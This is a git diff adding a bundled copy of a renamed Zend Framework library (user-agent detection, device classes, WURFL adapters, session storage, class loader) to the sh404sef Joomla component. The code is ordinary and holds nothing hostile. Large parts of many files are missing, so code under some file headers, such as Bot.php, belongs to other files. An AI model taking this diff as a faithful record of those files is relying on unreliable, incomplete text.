+ $product = strtolower($result['browser_name']); + + // Mozilla : true && false + $compatibleOrIe = false; + if (isset($result['compatibility_flag']) && isset($result['comment'])) { + $compatibleOrIe = ($result['compatibility_flag'] == 'compatible' || strpos($result['comment']['full'], "MSIE") !== false); + } + if ($product == 'mozilla' && $compatibleOrIe) { + if (!empty($result['browser_token'])) { + // Classic Mozilla chain + preg_match_all('/([^\/\s].*)(\/|\s)(.*)/i', $result['browser_token'], $real); + } else { + // MSIE specific chain with 'Windows' compatibility flag + foreach ($result['comment']['detail'] as $v) { + if (strpos($v, 'MSIE') !== false) { + $real[0][1] = trim($v); + $result['browser_engine'] = "MSIE"; + $real[1][0] = "Internet Explorer"; + $temp = explode(' ', trim($v)); + $real[3][0] = $temp[1]; + + } + if (strpos($v, 'Win') !== false) { + $result['device_os_token'] = trim($v); + } + } + } + + if (!empty($real[0])) { + $result['browser_name'] = $real[1][0]; + $result['browser_version'] = $real[3][0]; + } else { + $result['browser_name'] = $result['browser_token']; + $result['browser_version'] = '??'; + } + } elseif ($product == 'mozilla' && $result['browser_version'] < 5.0) { + // handles the real Mozilla (or old Netscape if version < 5.0) + $result['browser_name'] = 'Netscape'; + } + + /** windows */ + if ($result['browser_name'] == 'MSIE') { + $result['browser_engine'] = 'MSIE'; + $result['browser_name'] = 'Internet Explorer'; + } + if (isset($result['device_os_token'])) { + if (strpos($result['device_os_token'], 'Win') !== false) { + + $windows = array( + 'Windows NT 6.1' => 'Windows 7', + 'Windows NT 6.0' => 'Windows Vista', + 'Windows NT 5.2' => 'Windows Server 2003', + 'Windows NT 5.1' => 'Windows XP', + 'Windows NT 5.01' => 'Windows 2000 SP1', + 'Windows NT 5.0' => 'Windows 2000', + 'Windows NT 4.0' => 'Microsoft Windows NT 4.0', + 'WinNT' => 'Microsoft Windows NT 4.0', + 'Windows 98; Win 9x 4.90' => 'Windows Me', + 'Windows 98' => 'Windows 98', + 'Win98' => 'Windows 98', + 'Windows 95' => 'Windows 95', + 'Win95' => 'Windows 95', + 'Windows CE' => 'Windows CE', + ); + if (isset($windows[$result['device_os_token']])) { + $result['device_os_name'] = $windows[$result['device_os_token']]; + } else { + $result['device_os_name'] = $result['device_os_token']; + } + } + } + + // iphone + $apple_device = array( + 'iPhone', + 'iPod', + 'iPad', + ); + if (isset($result['compatibility_flag'])) { + if (in_array($result['compatibility_flag'], $apple_device)) { + $result['device'] = strtolower($result['compatibility_flag']); + $result['device_os_token'] = 'iPhone OS'; + $result['browser_language'] = trim($comment[3]); + $result['browser_version'] = $result['others']['detail'][1][2]; + if (!empty($result['others']['detail'][2])) { + $result['firmware'] = $result['others']['detail'][2][2]; + } + if (!empty($result['others']['detail'][3])) { + $result['browser_name'] = $result['others']['detail'][3][1]; + $result['browser_build'] = $result['others']['detail'][3][2]; + } + } + } + + // Safari + if (isset($result['others'])) { + if ($result['others']['detail'][0][1] == 'AppleWebKit') { + $result['browser_engine'] = 'AppleWebKit'; + if ($result['others']['detail'][1][1] == 'Version') { + $result['browser_version'] = $result['others']['detail'][1][2]; + } else { + $result['browser_version'] = $result['others']['detail'][count($result['others']['detail']) - 1][2]; + } + if (isset($comment[3])) { + $result['browser_language'] = trim($comment[3]); + } + + $last = $result['others']['detail'][count($result['others']['detail']) - 1][1]; + + if (empty($result['others']['detail'][2][1]) || $result['others']['detail'][2][1] == 'Safari') { + $result['browser_name'] = ($result['others']['detail'][1][1] && $result['others']['detail'][1][1] != 'Version' ? $result['others']['detail'][1][1] : 'Safari'); + $result['browser_version'] = ($result['others']['detail'][1][2] ? $result['others']['detail'][1][2] : $result['others']['detail'][0][2]); + } else { + $result['browser_name'] = $result['others']['detail'][2][1]; + $result['browser_version'] = $result['others']['detail'][2][2]; + + // mobile version + if ($result['browser_name'] == 'Mobile') { + $result['browser_name'] = 'Safari ' . $result['browser_name']; + if ($result['others']['detail'][1][1] == 'Version') { + $result['browser_version'] = $result['others']['detail'][1][2]; + } + } + } + + // For Safari < 2.2, AppleWebKit version gives the Safari version + if (strpos($result['browser_version'], '.') > 2 || (int) $result['browser_version'] > 20) { + $temp = explode('.', $result['browser_version']); + $build = (int) $temp[0]; + $awkVersion = array( + 48 => '0.8', + 73 => '0.9', + 85 => '1.0', + 103 => '1.1', + 124 => '1.2', + 300 => '1.3', + 400 => '2.0', + ); + foreach ($awkVersion as $k => $v) { + if ($build >= $k) { + $result['browser_version'] = $v; + } + } + } + } + + // Gecko (Firefox or compatible) + if ($result['others']['detail'][0][1] == 'Gecko') { + $searchRV = true; + if (!empty($result['others']['detail'][1][1]) && !empty($result['others']['detail'][count($result['others']['detail']) - 1][2]) || strpos(strtolower($result['others']['full']), 'opera') !== false) { + $searchRV = false; + $result['browser_engine'] = $result['others']['detail'][0][1]; + + // the name of the application is at the end indepenently + // of quantity of information in $result['others']['detail'] + $last = count($result['others']['detail']) - 1; + + // exception : if the version of the last information is + // empty we take the previous one + if (empty($result['others']['detail'][$last][2])) { + $last --; + } + + // exception : if the last one is 'Red Hat' or 'Debian' => + // use rv: to find browser_version */ + if (in_array($result['others']['detail'][$last][1], array( + 'Debian', + 'Hat', + ))) { + $searchRV = true; + } + $result['browser_name'] = $result['others']['detail'][$last][1]; + $result['browser_version'] = $result['others']['detail'][$last][2]; + if (isset($comment[4])) { + $result['browser_build'] = trim($comment[4]); + } + if (isset($comment[3])) { + $result['browser_language'] = trim($comment[3]); + } + + // Netscape + if ($result['browser_name'] == 'Navigator' || $result['browser_name'] == 'Netscape6') { + $result['browser_name'] = 'Netscape'; + } + } + if ($searchRV) { + // Mozilla alone : the version is identified by rv: + $result['browser_name'] = 'Mozilla'; + if (isset($result['comment']['detail'])) { + foreach ($result['comment']['detail'] as $rv) { + if (strpos($rv, 'rv:') !== false) { + $result['browser_version'] = trim(str_replace('rv:', '', $rv)); + } + } + } + } + } + + // Netscape + if ($result['others']['detail'][0][1] == 'Netscape') { + $result['browser_name'] = 'Netscape'; + $result['browser_version'] = $result['others']['detail'][0][2]; + } + + // Opera + // Opera: engine Presto + if ($result['others']['detail'][0][1] == 'Presto') { + $result['browser_engine'] = 'Presto'; + if (!empty($result['others']['detail'][1][2])) { + $result['browser_version'] = $result['others']['detail'][1][2]; + } + } + + // UA ends with 'Opera X.XX' + if ($result['others']['detail'][0][1] == 'Opera') { + $result['browser_name'] = $result['others']['detail'][0][1]; + $result['browser_version'] = $result['others']['detail'][1][1]; + } + + // Opera Mini + if (isset($result["browser_token"])) { + if (strpos($result["browser_token"], 'Opera Mini') !== false) { + $result['browser_name'] = 'Opera Mini'; + } + } + + // Symbian + if ($result['others']['detail'][0][1] == 'SymbianOS') { + $result['device_os_token'] = 'SymbianOS'; + } + } + + // UA ends with 'Opera X.XX' + if (isset($result['browser_name']) && isset($result['browser_engine'])) { + if ($result['browser_name'] == 'Opera' && $result['browser_engine'] == 'Gecko' && empty($result['browser_version'])) { + $result['browser_version'] = $result['others']['detail'][count($result['others']['detail']) - 1][1]; + } + } + + // cleanup + if (isset($result['browser_version']) && isset($result['browser_build'])) { + if ($result['browser_version'] == $result['browser_build']) { + unset($result['browser_build']); + } + } + + // compatibility + $compatibility['AppleWebKit'] = 'Safari'; + $compatibility['Gecko'] = 'Firefox'; + $compatibility['MSIE'] = 'Internet Explorer'; + $compatibility['Presto'] = 'Opera'; + if (!empty($result['browser_engine'])) { + if (isset($compatibility[$result['browser_engine']])) { + $result['browser_compatibility'] = $compatibility[$result['browser_engine']]; + } + } + + ksort($result); + return $result; + } + + /** + * Loads the Features Adapter if it's defined in the $config array + * Otherwise, nothing is done + * + * @param string $browserType Browser type + * @return array + */ + protected function _loadFeaturesAdapter() + { + $config = $this->_config; + $browserType = $this->getType(); + if (!isset($config[$browserType]) || !isset($config[$browserType]['features'])) { + return array(); + } + $config = $config[$browserType]['features']; + + if (empty($config['classname'])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception('The ' . $this->getType() . ' features adapter must have a "classname" config parameter defined'); + } + + $className = $config['classname']; + if (!class_exists($className)) { + if (isset($config['path'])) { + $path = $config['path']; + } else { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception('The ' . $this->getType() . ' features adapter must have a "path" config parameter defined'); + } + + if (false === include_once ($path)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception('The ' . $this->getType() . ' features adapter path that does not exist'); + } + } + + return call_user_func(array($className, 'getFromRequest'), $this->_server, $this->_config); + } + + /** + * Retrieve image format support + * + * @return array + */ + public function getImageFormatSupport() + { + return $this->_images; + } + + /** + * Get maximum image height supported by this device + * + * @return int + */ + public function getMaxImageHeight() + { + return null; + } + + /** + * Get maximum image width supported by this device + * + * @return int + */ + public function getMaxImageWidth() + { + return null; + } + + /** + * Get physical screen height of this device + * + * @return int + */ + public function getPhysicalScreenHeight() + { + return null; + } + + /** + * Get physical screen width of this device + * + * @return int + */ + public function getPhysicalScreenWidth() + { + return null; + } + + /** + * Get preferred markup type + * + * @return string + */ + public function getPreferredMarkup() + { + return 'xhtml'; + } + + /** + * Get supported X/HTML version + * + * @return int + */ + public function getXhtmlSupportLevel() + { + return 4; + } + + /** + * Does the device support Flash? + * + * @return bool + */ + public function hasFlashSupport() + { + return true; + } + + /** + * Does the device support PDF? + * + * @return bool + */ + public function hasPdfSupport() + { + return true; + } + + /** + * Does the device have a phone number associated with it? + * + * @return bool + */ + public function hasPhoneNumber() + { + return false; + } + + /** + * Does the device support HTTPS? + * + * @return bool + */ + public function httpsSupport() + { + return true; + } + + /** + * Get the browser type + * + * @return string + */ + public function getBrowser() + { + return $this->_browser; + } + + /** + * Get the browser version + * + * @return string + */ + public function getBrowserVersion() + { + return $this->_browserVersion; + } + + /** + * Get the user agent string + * + * @return string + */ + public function getUserAgent() + { + return $this->_userAgent; + } + + /** + * @return the $_images + */ + public function getImages() + { + return $this->_images; + } + + /** + * @param string $browser + */ + public function setBrowser($browser) + { + $this->_browser = $browser; + } + + /** + * @param string $browserVersion + */ + public function setBrowserVersion($browserVersion) + { + $this->_browserVersion = $browserVersion; + } + + /** + * @param string $userAgent + */ + public function setUserAgent($userAgent) + { + $this->_userAgent = $userAgent; + return $this; + } + + /** + * @param array $_images + */ + public function setImages($_images) + { + $this->_images = $_images; + } + + /** + * Match a user agent string against a list of signatures + * + * @param string $userAgent + * @param array $signatures + * @return bool + */ + protected static function _matchAgentAgainstSignatures($userAgent, $signatures) + { + $userAgent = strtolower($userAgent); + foreach ($signatures as $signature) { + if (!empty($signature)) { + if (strpos($userAgent, $signature) !== false) { + // Browser signature was found in user agent string + return true; + } + } + } + return false; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Bot.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Bot.php new file mode 100644 index 00000000..be2d768e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Bot.php @@ -0,0 +1,131 @@ +getDeviceCapabilitiesFromRequest(array_change_key_case($request, CASE_UPPER)); + + return self::getAllCapabilities($wurflObj); + } + + /*** + * Builds an array with all capabilities + * + * @param TeraWurfl $wurflObj TeraWurfl object + */ + public static function getAllCapabilities(TeraWurfl $wurflObj) + { + + foreach ($wurflObj->capabilities as $group) { + if (!is_array($group)) { + continue; + } + while (list ($key, $value) = each($group)) { + if (is_bool($value)) { + // to have the same type than the official WURFL API + $features[$key] = ($value ? 'true' : 'false'); + } else { + $features[$key] = $value; + } + } + } + return $features; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/WurflApi.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/WurflApi.php new file mode 100644 index 00000000..6d46c5f1 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/WurflApi.php @@ -0,0 +1,104 @@ +wurflFile($c['wurfl']['main-file']) + ->wurflPatch($c['wurfl']['patches']) + ->persistence($c['persistence']['provider'], $c['persistence']['dir']); + } + + $wurflManagerFactory = new WURFL_WURFLManagerFactory($wurflConfig); + $wurflManager = $wurflManagerFactory->create(); + break; + default: + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Features/Exception.php'; + throw new Zendshl_Http_UserAgent_Features_Exception(sprintf( + 'Unknown API version "%s"', + $config['wurfl_api_version'] + )); + } + + $device = $wurflManager->getDeviceForHttpRequest(array_change_key_case($request, CASE_UPPER)); + $features = $device->getAllCapabilities(); + return $features; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Exception.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Exception.php new file mode 100644 index 00000000..56b51e3a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Exception.php @@ -0,0 +1,37 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Feed.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Feed.php new file mode 100644 index 00000000..d9c4a03c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Feed.php @@ -0,0 +1,82 @@ +setFeature('iframes', false, 'product_capability'); + $this->setFeature('frames', false, 'product_capability'); + $this->setFeature('javascript', false, 'product_capability'); + return parent::_defineFeatures(); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Mobile.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Mobile.php new file mode 100644 index 00000000..471234d4 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Mobile.php @@ -0,0 +1,537 @@ +setFeature('is_wireless_device', false, 'product_info'); + + parent::_defineFeatures(); + + if (isset($this->_aFeatures["mobile_browser"])) { + $this->setFeature("browser_name", $this->_aFeatures["mobile_browser"]); + $this->_browser = $this->_aFeatures["mobile_browser"]; + } + if (isset($this->_aFeatures["mobile_browser_version"])) { + $this->setFeature("browser_version", $this->_aFeatures["mobile_browser_version"]); + $this->_browserVersion = $this->_aFeatures["mobile_browser_version"]; + } + + // markup + if ($this->getFeature('device_os') == 'iPhone OS' + || $this->getFeature('device_os_token') == 'iPhone OS' + ) { + $this->setFeature('markup', 'iphone'); + } else { + $this->setFeature('markup', $this->getMarkupLanguage($this->getFeature('preferred_markup'))); + } + + // image format + $this->_images = array(); + + if ($this->getFeature('png')) { + $this->_images[] = 'png'; + } + if ($this->getFeature('jpg')) { + $this->_images[] = 'jpg'; + } + if ($this->getFeature('gif')) { + $this->_images[] = 'gif'; + } + if ($this->getFeature('wbmp')) { + $this->_images[] = 'wbmp'; + } + + return $this->_aFeatures; + } + + /** + * Determine markup language expected + * + * @access public + * @return __TYPE__ + */ + public function getMarkupLanguage($preferredMarkup = null) + { + $return = ''; + switch ($preferredMarkup) { + case 'wml_1_1': + case 'wml_1_2': + case 'wml_1_3': + $return = 'wml'; //text/vnd.wap.wml encoding="ISO-8859-15" + case 'html_wi_imode_compact_generic': + case 'html_wi_imode_html_1': + case 'html_wi_imode_html_2': + case 'html_wi_imode_html_3': + case 'html_wi_imode_html_4': + case 'html_wi_imode_html_5': + $return = 'chtml'; //text/html + case 'html_wi_oma_xhtmlmp_1_0': //application/vnd.wap.xhtml+xml + case 'html_wi_w3_xhtmlbasic': //application/xhtml+xml DTD XHTML Basic 1.0 + $return = 'xhtml'; + case 'html_web_3_2': //text/html DTD Html 3.2 Final + case 'html_web_4_0': //text/html DTD Html 4.01 Transitional + $return = ''; + } + return $return; + } + + /** + * Determine image format support + * + * @return array + */ + public function getImageFormatSupport() + { + return $this->_images; + } + + /** + * Determine maximum image height supported + * + * @return int + */ + public function getMaxImageHeight() + { + return $this->getFeature('max_image_height'); + } + + /** + * Determine maximum image width supported + * + * @return int + */ + public function getMaxImageWidth() + { + return $this->getFeature('max_image_width'); + } + + /** + * Determine physical screen height + * + * @return int + */ + public function getPhysicalScreenHeight() + { + return $this->getFeature('physical_screen_height'); + } + + /** + * Determine physical screen width + * + * @return int + */ + public function getPhysicalScreenWidth() + { + return $this->getFeature('physical_screen_width'); + } + + /** + * Determine preferred markup + * + * @return string + */ + public function getPreferredMarkup() + { + return $this->getFeature("markup"); + } + + /** + * Determine X/HTML support level + * + * @return int + */ + public function getXhtmlSupportLevel() + { + return $this->getFeature('xhtml_support_level'); + } + + /** + * Does the device support Flash? + * + * @return bool + */ + public function hasFlashSupport() + { + return $this->getFeature('fl_browser'); + } + + /** + * Does the device support PDF? + * + * @return bool + */ + public function hasPdfSupport() + { + return $this->getFeature('pdf_support'); + } + + /** + * Does the device have an associated phone number? + * + * @return bool + */ + public function hasPhoneNumber() + { + return $this->getFeature('can_assign_phone_number'); + } + + /** + * Does the device support HTTPS? + * + * @return bool + */ + public function httpsSupport() + { + return ($this->getFeature('https_support') == 'supported'); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Offline.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Offline.php new file mode 100644 index 00000000..64947c7e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Offline.php @@ -0,0 +1,71 @@ +setFeature('images', false, 'product_capability'); + $this->setFeature('iframes', false, 'product_capability'); + $this->setFeature('frames', false, 'product_capability'); + $this->setFeature('javascript', false, 'product_capability'); + return parent::_defineFeatures(); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Spam.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Spam.php new file mode 100644 index 00000000..2bcf21ed --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Spam.php @@ -0,0 +1,80 @@ +setFeature('images', false, 'product_capability'); + $this->setFeature('iframes', false, 'product_capability'); + $this->setFeature('frames', false, 'product_capability'); + $this->setFeature('javascript', false, 'product_capability'); + return parent::_defineFeatures(); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage.php new file mode 100644 index 00000000..89f650bd --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage.php @@ -0,0 +1,66 @@ +_data); + } + + /** + * Returns the contents of storage + * + * Behavior is undefined when storage is empty. + * + * @throws Zendshl_Http_UserAgent_Storage_Exception If reading contents from storage is impossible + * @return mixed + */ + public function read() + { + return $this->_data; + } + + /** + * Writes $contents to storage + * + * @param mixed $contents + * @throws Zendshl_Http_UserAgent_Storage_Exception If writing $contents to storage is impossible + * @return void + */ + public function write($contents) + { + $this->_data = $contents; + } + + /** + * Clears contents from storage + * + * @throws Zendshl_Http_UserAgent_Storage_Exception If clearing contents from storage is impossible + * @return void + */ + public function clear() + { + $this->_data = null; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/Session.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/Session.php new file mode 100644 index 00000000..42614659 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/Session.php @@ -0,0 +1,167 @@ +toArray(); + } elseif (is_object($options)) { + $options = (array) $options; + } + if (null !== $options && !is_array($options)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Storage/Exception.php'; + throw new Zendshl_Http_UserAgent_Storage_Exception(sprintf( + 'Expected array or object options; "%s" provided', + gettype($options) + )); + } + + // add '.' to prevent the message ''Session namespace must not start with a number' + $this->_namespace = '.' + . (isset($options['browser_type']) + ? $options['browser_type'] + : self::NAMESPACE_DEFAULT); + $this->_member = isset($options['member']) ? $options['member'] : self::MEMBER_DEFAULT; + $this->_session = new Zendshl_Session_Namespace($this->_namespace); + } + + /** + * Returns the session namespace name + * + * @return string + */ + public function getNamespace() + { + return $this->_namespace; + } + + /** + * Returns the name of the session object member + * + * @return string + */ + public function getMember() + { + return $this->_member; + } + + /** + * Defined by Zendshl_Http_UserAgent_Storage + * + * @return boolean + */ + public function isEmpty() + { + return empty($this->_session->{$this->_member}); + } + + /** + * Defined by Zendshl_Http_UserAgent_Storage + * + * @return mixed + */ + public function read() + { + return $this->_session->{$this->_member}; + } + + /** + * Defined by Zendshl_Http_UserAgent_Storage + * + * @param mixed $contents + * @return void + */ + public function write($content) + { + $this->_session->{$this->_member} = $content; + } + + /** + * Defined by Zendshl_Http_UserAgent_Storage + * + * @return void + */ + public function clear() + { + unset($this->_session->{$this->_member}); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Text.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Text.php new file mode 100644 index 00000000..eaca6982 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Text.php @@ -0,0 +1,133 @@ +setFeature('images', false, 'product_capability'); + $this->setFeature('iframes', false, 'product_capability'); + $this->setFeature('frames', false, 'product_capability'); + $this->setFeature('javascript', false, 'product_capability'); + return parent::_defineFeatures(); + } + + /** + * Determine supported image formats + * + * @return null + */ + public function getImageFormatSupport() + { + return null; + } + + /** + * Get preferred markup format + * + * @return string + */ + public function getPreferredMarkup() + { + return 'xhtml'; + } + + /** + * Get supported X/HTML markup level + * + * @return int + */ + public function getXhtmlSupportLevel() + { + return 1; + } + + /** + * Does the device support Flash? + * + * @return bool + */ + public function hasFlashSupport() + { + + return false; + } + + /** + * Does the device support PDF? + * + * @return bool + */ + public function hasPdfSupport() + { + return false; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Validator.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Validator.php new file mode 100644 index 00000000..bdb29c82 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Validator.php @@ -0,0 +1,74 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader.php new file mode 100644 index 00000000..ab063c0c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader.php @@ -0,0 +1,330 @@ + $dir) { + if ($dir == '.') { + $dirs[$key] = $dirPath; + } else { + $dir = rtrim($dir, '\\/'); + $dirs[$key] = $dir . DIRECTORY_SEPARATOR . $dirPath; + } + } + $file = basename($file); + self::loadFile($file, $dirs, true); + } else { + self::loadFile($file, null, true); + } + + if (!class_exists($class, false) && !interface_exists($class, false)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Exception.php'; + throw new Zendshl_Exception("File \"$file\" does not exist or class \"$class\" was not found in the file"); + } + } + + /** + * Loads a PHP file. This is a wrapper for PHP's include() function. + * + * $filename must be the complete filename, including any + * extension such as ".php". Note that a security check is performed that + * does not permit extended characters in the filename. This method is + * intended for loading Zend Framework files. + * + * If $dirs is a string or an array, it will search the directories + * in the order supplied, and attempt to load the first matching file. + * + * If the file was not found in the $dirs, or if no $dirs were specified, + * it will attempt to load it from PHP's include_path. + * + * If $once is TRUE, it will use include_once() instead of include(). + * + * @param string $filename + * @param string|array $dirs - OPTIONAL either a path or array of paths + * to search. + * @param boolean $once + * @return boolean + * @throws Zendshl_Exception + */ + public static function loadFile($filename, $dirs = null, $once = false) + { + self::_securityCheck($filename); + + /** + * Search in provided directories, as well as include_path + */ + $incPath = false; + if (!empty($dirs) && (is_array($dirs) || is_string($dirs))) { + if (is_array($dirs)) { + $dirs = implode(PATH_SEPARATOR, $dirs); + } + $incPath = get_include_path(); + set_include_path($dirs . PATH_SEPARATOR . $incPath); + } + + /** + * Try finding for the plain filename in the include_path. + */ + if ($once) { + include_once $filename; + } else { + include $filename; + } + + /** + * If searching in directories, reset include_path + */ + if ($incPath) { + set_include_path($incPath); + } + + return true; + } + + /** + * Returns TRUE if the $filename is readable, or FALSE otherwise. + * This function uses the PHP include_path, where PHP's is_readable() + * does not. + * + * Note from ZF-2900: + * If you use custom error handler, please check whether return value + * from error_reporting() is zero or not. + * At mark of fopen() can not suppress warning if the handler is used. + * + * @param string $filename + * @return boolean + */ + public static function isReadable($filename) + { + if (is_readable($filename)) { + // Return early if the filename is readable without needing the + // include_path + return true; + } + + if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' + && preg_match('/^[a-z]:/i', $filename) + ) { + // If on windows, and path provided is clearly an absolute path, + // return false immediately + return false; + } + + foreach (self::explodeIncludePath() as $path) { + if ($path == '.') { + if (is_readable($filename)) { + return true; + } + continue; + } + $file = $path . '/' . $filename; + if (is_readable($file)) { + return true; + } + } + return false; + } + + /** + * Explode an include path into an array + * + * If no path provided, uses current include_path. Works around issues that + * occur when the path includes stream schemas. + * + * @param string|null $path + * 